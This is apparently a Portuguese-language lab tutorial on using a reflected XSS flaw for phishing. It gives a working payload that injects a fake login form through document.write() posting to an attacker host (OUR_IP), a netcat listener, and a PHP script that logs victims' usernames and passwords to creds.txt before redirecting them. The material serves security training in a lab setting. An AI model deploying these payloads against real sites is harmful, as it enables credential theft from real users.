# Phishing

Outro tipo muito comum de ataque XSS é o ataque de phishing. Os ataques de phishing geralmente utilizam informações aparentemente legítimas para induzir as vítimas a enviar suas informações confidenciais ao invasor. Uma forma comum de ataques de phishing XSS é através da injeção de formulários de login falsos que enviam os detalhes de login ao servidor do invasor, que podem então ser usados ​​para fazer login em nome da vítima e obter controle sobre sua conta e informações confidenciais.

### XSS Discovery

[`http://SERVER_IP/phishing/index.php?url=<script>alert(window.origin)</script>`](http://server_ip/phishing/index.php?url=%3Cscript%3Ealert\(window.origin\)%3C/script%3E)

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F3SmTDCrARJESrb0RjgeJ%2Fimage.png?alt=media&#x26;token=2314d522-ea8c-4063-8329-def1756d6741" alt=""><figcaption></figcaption></figure>

Para entender qual carga útil deve funcionar, tente visualizar como sua entrada é exibida no código-fonte HTML depois de adicioná-la.

<div align="left"><figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FkYUncITVD6JH9vR8FxWy%2F1.png?alt=media&#x26;token=dda75525-735b-4344-8bb2-c5da28b50bff" alt=""><figcaption></figcaption></figure></div>

### Login Form Injection

Depois de identificarmos uma carga XSS funcional, podemos prosseguir para o ataque de phishing. Para realizar um ataque de phishing XSS, devemos injetar um código HTML que exiba um formulário de login na página de destino. Este formulário deve enviar as informações de login para um servidor que estamos escutando, de forma que, assim que um usuário tentar fazer login, obteremos suas credenciais.

```html
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>
```

Posteriormente estaremos escutando o IP para recuperar as credenciais enviadas do formulário. O formulário de login deve ficar assim:

```html
<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
```

A seguir, devemos preparar nosso código XSS e testá-lo no formulário vulnerável. Para escrever código HTML na página vulnerável, podemos usar a função JavaScript `document.write()`e usá-la na carga útil XSS que encontramos anteriormente na etapa de descoberta de XSS. Depois de reduzirmos nosso código HTML em uma única linha e adicioná-lo dentro da `write`função, o código JavaScript final deverá ser o seguinte:

```javascript
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

Agora podemos injetar esse código JavaScript usando nossa carga XSS (ou seja, em vez de executar o `alert(window.origin)`código JavaScript).

[`http://SERVER_IP/phishing/index.php?url=...SNIP...`](http://server_ip/phishing/index.php?url=...SNIP...)

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FTr4IBSOpZic3LXb7HV2G%2Fimage.png?alt=media&#x26;token=881a4b91-df16-4635-88de-3c3acd888692" alt=""><figcaption></figcaption></figure>

Também vemos que ainda resta um pedaço do código HTML original após nosso formulário de login injetado. Isso pode ser removido simplesmente comentando, adicionando um comentário de abertura HTML após nossa carga XSS:\


```html
...PAYLOAD... <!-- 
```

### Credential Stealing

Então, vamos iniciar um `netcat`servidor simples e ver que tipo de solicitação recebemos quando alguém tenta fazer login através do formulário. Para isso, podemos começar a escutar na porta 80 do nosso Pwnbox, da seguinte forma:

```shell-session
sudo nc -lvnp 80
```

O seguinte script PHP deve fazer o que precisamos, e vamos gravá-lo em um arquivo em nossa VM que chamaremos `index.php`e colocaremos em `/tmp/tmpserver/`( `don't forget to replace SERVER_IP with the ip from our exercise`):

```php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>
```

Agora que temos nosso `index.php`arquivo pronto, podemos iniciar um `PHP`servidor de escuta, que podemos usar no lugar do `netcat`ouvinte básico que usamos anteriormente:

```shell-session
mkdir /tmp/tmpserver
cd /tmp/tmpserver
vi index.php #at this step we wrote our index.php file
sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
```

Vamos tentar fazer login no formulário de login injetado e ver o que obtemos. Vemos que somos redirecionados para a página original do Image Viewer:

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FYEIoLUe8ztIYJ33IWHoh%2Fimage.png?alt=media&#x26;token=f529e73f-d20f-47c6-a354-3215c5c260a5" alt=""><figcaption></figcaption></figure>

```shell-session
$ cat creds.txt
Username: test | Password: test
```
